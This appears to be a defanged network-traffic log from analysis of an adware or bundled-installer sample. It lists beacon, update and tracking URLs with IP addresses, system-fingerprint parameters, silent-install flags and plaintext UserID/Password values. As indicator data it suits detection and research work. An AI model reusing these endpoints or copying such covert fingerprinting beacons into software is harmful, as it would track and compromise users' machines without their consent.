hxxp://rep.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHELjT49fHfOTLUGBU7VCmeQt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb6lcFzkAHUgF82tgewNDgDwLMEicbqKjXqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLqjK1nJ wpbriQmIIkKyX6s0FiFjdakeNCE8o34YWHkZnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYJHseVKQaMUz7BRPf4VdiaS/pgYcHdP8mUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fPUenYv NE2dSnkSnlVgA Q== 54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092559&SBPIDS=0 23.21.193.24
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31984.ashx?e=QHucCbLl /brPsk3N17xhG8kgAhJB43pW1tgKrNy38kDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/hWp0V284meTmiZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRUJzRdUNFPy6hPcymDWCg6QBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/28070.ashx?e=4mC0vXGWFtoTEvwWndeMvHFOCrrBm5PrsLdcMDFcyU6MDmRWpWBZ0CAvELRpepitjKjHf0fty0h7yh48E7WjcoBbbXdb/SAMb GEwPiedNJfOKWYd4uGNAB/MXM5vy8Es IILilpWF0R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilQXvACU7V85F4td6Rt2cx8sFsK7/Ya3qp3H4CQmKwMH4mSX0slVqEAn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5852.ashx?e=G4i9JF3YhSaBXOBJ2d DUUDK0sckRQdKQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMa6gU8td2K6CG4xOauimAJ5w8oUQy9Dy2pTU712iqhsWjQlB3kfGAhd3h70Rdi1/mLeCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS JCt 1flRJrt9ecNw3qM44/lSIKq0UdoUdMm3hqMstJ/y06twORtLg9fHR9A6p3upOM0S4XWXQNckrM9d9qKvEIr3HFOHwspCpHCT5GIrHKeu8rYnA8EzX4JIE87/jfWsid6KRE16wYsqtKrDF7mr6U IgqjBtPrQZNslBbwbrzm8HqzDlA5LEOcQDW2ub8rgHR1BOlQeSG TPkAVkd2bb1HMP2IfnNA/cEXCuD7ISRf2T mvjIH/Ay5ismV6Zmv0elWnPCijCkMjOCgw2BVJmqqAREsAc88Fmq6Wr4EL4IXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5852.ashx?e=G4i9JF3YhSaBXOBJ2d DUUDK0sckRQdKQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMa6gU8td2K6CG4xOauimAJ559eFhsT1abeQqykZerlmJWOBvq/txek 4iYlmtiSGZOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/2556.ashx?e=ZfTZC8DxP8ZxTgq6wZuT67C3XDAxXMlOjA5kVqVgWdAgLxC0aXqYrYyox39H7ctICRG24GG3kkqapdjBPBrSXWAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/2556.ashx?e=ZfTZC8DxP8ZxTgq6wZuT67C3XDAxXMlOjA5kVqVgWdAgLxC0aXqYrYyox39H7ctICRG24GG3kkqapdjBPBrSXWAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoYnVI7Lam2S1vLHUwkQGOXz2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeJbMdc92UZetdOWqG7q5ZOaCCywDEsteg9p hZ4DIQH5Tc9wnR9He/l4YWTWHzy3yyliyqjeW6 aP6icIIcon3ge36Sj48TdRlTFqCp5nVlY9NZg9yxBZRVgSZlQGuVMMQcXpDOddnC1pblw/gnAec0/M2w4q7aA8w3I9TwM4TB3ktSrv7ljo83blC6RlaT VZn0CSeruiA3sgYUtJHqg8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= 198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=b1dRW7RxYKfwl4DCqEaRhHIaPPU UwhFeq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyr2ze w9VTbJkaFFeKIEAzfrwAXzhrPkfUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fCekcAtFi2gOaymkaLANLBL 8 zI08ozYjtw1zidYuirfvHNFJUDQd3AUyPKYVvSCRmPZxKfOYCTS9O34o2J6OgY6QMiiq/0Y97mvY1Q2Q2V4RdSdIq15Ew ec8PQL V9BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0onv4z5YJIIZmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaU6wyanXwNZ2W/hePtCOfZ 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=s5Ydxb c7o3vtemz1TdLVnIaPPU UwhFeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0dzM566Tg0cBmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJYiLkQjh57Fv8zaQsrQSHoY6EDIxFK15gt/Lad3Y6gE1ZlxWTdtZreIwlv5Qh OtHGaiLQITrgk83RjFlcoTOjAYXfE1EisPQ6Xd50l6ekWM2MvbjyrmU6rXIjcveydSUr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ocfvb9IYuqI5f6VK1qPKGu2ILNQEGb1kr4uB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqYRtea4xv9nd 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5852.ashx?e=A3ANzFv7fWCOxiYYmXRGYMIr4n93Nx1RHf8DSQwQy2Z4E7mrr1h80riKIFo3W8f23Wq7IsWCDz5T9dv2jJfMemiZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aGJ1SOy2ptktldYy53gQNwTDonyp8O4pJozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/2556.ashx?e=4mC0vXGWFtoTEvwWndeMvHFOCrrBm5PrwmjJBghhycWMDmRWpWBZ0CAvELRpepitjKjHf0fty0gJEbbgYbeSSl Lxpxew5WTYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgLWKzI0CScSf6y73TEYNzPMBeHgs9Q7654i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== 198.232.124.192
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092563&SBPIDS=0 23.21.193.24
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=464399&mode=nolsp 107.20.238.80
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430092564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430092564
hxxp://ipgeoapi.com/ 23.21.188.114
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430092567
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430092567
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=467862&mode=nolsp 107.20.238.80
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564
hxxp://rep.shopper-pro.com/app/ping.ashx?e=tXVAHsxnBG5xTgq6wZuT67oieMBEg1Sn3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgppLUb7t3Tfqh1SwsYoPoOj/tbXDF8ERkmZiqIIptrjZsWF/DPdMjeJiu0Ec1pyxRwRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vja5tS5o9NlIGeSzc754sgCNYkZM ZAmy2vGy3qKWeyGvneUrqbcI2M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrZIVZUVLjKmDlNcv2CDURJiqKuNvZz53hWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj lUk/8GAeY30 54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430092568
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092568
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092569
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092569
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092569
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092569
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092569
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430092571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092572
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092572
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092573
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=10&rnd=1430092574
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=11&rnd=1430092575
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092576
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092576
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092576
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092577
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430092577
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_37&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKr31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o2uwjb78QzN9FYm5VRTy/qYKbHXQ3LZlHwdE4jBu2OwY8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qoojBDOS6rsND6pqgVuVy 5fXvfdY6g9CW/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH4JxFCNxfHIM= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKr31fTgrR12XwN5lyRGN/ZhwIcLERiDa7oGT OLwKV823JQyItD8S5vDK0emj6kkzGQeFtx5 eqtFssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEviQrftX5USa749BuL0n8vhSftUaxxCxaYQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKrqUVvKp9Lg9XHvdM54V2LCI4G r 3F6T7B28jN/IR4nVi6hMIdMwrqATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=qIQu8 l0/f2BXOBJ2d DUYNyeWLBMDk9QF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0jRWOlrNcG0Oh2929J aMXc4cRSAFxEenVSP HSwgTuAr0pwYD3uurdSSaUQFDqWEnmP3t8anGDfaBolk2nkam5JVMomSqmf/cEv 7r5M40TRSDnJgw6QhBQC drCF7eF5GrYQssP4wOoVp8udoc6545aVH6/7KX12M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozKSHWriQys9eBFNv0x54AMdWxJlEYwI4I106EYFdMaz186G4ySdX96Tg== 198.232.124.192
hxxp://www.theviilage.com/windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv= 50.97.33.37
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430092613&SBPIDS=0 23.21.193.24
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2253&uid=535559167_198339_B48A115F&dp=0 50.97.33.37
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1 23.21.193.24
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1
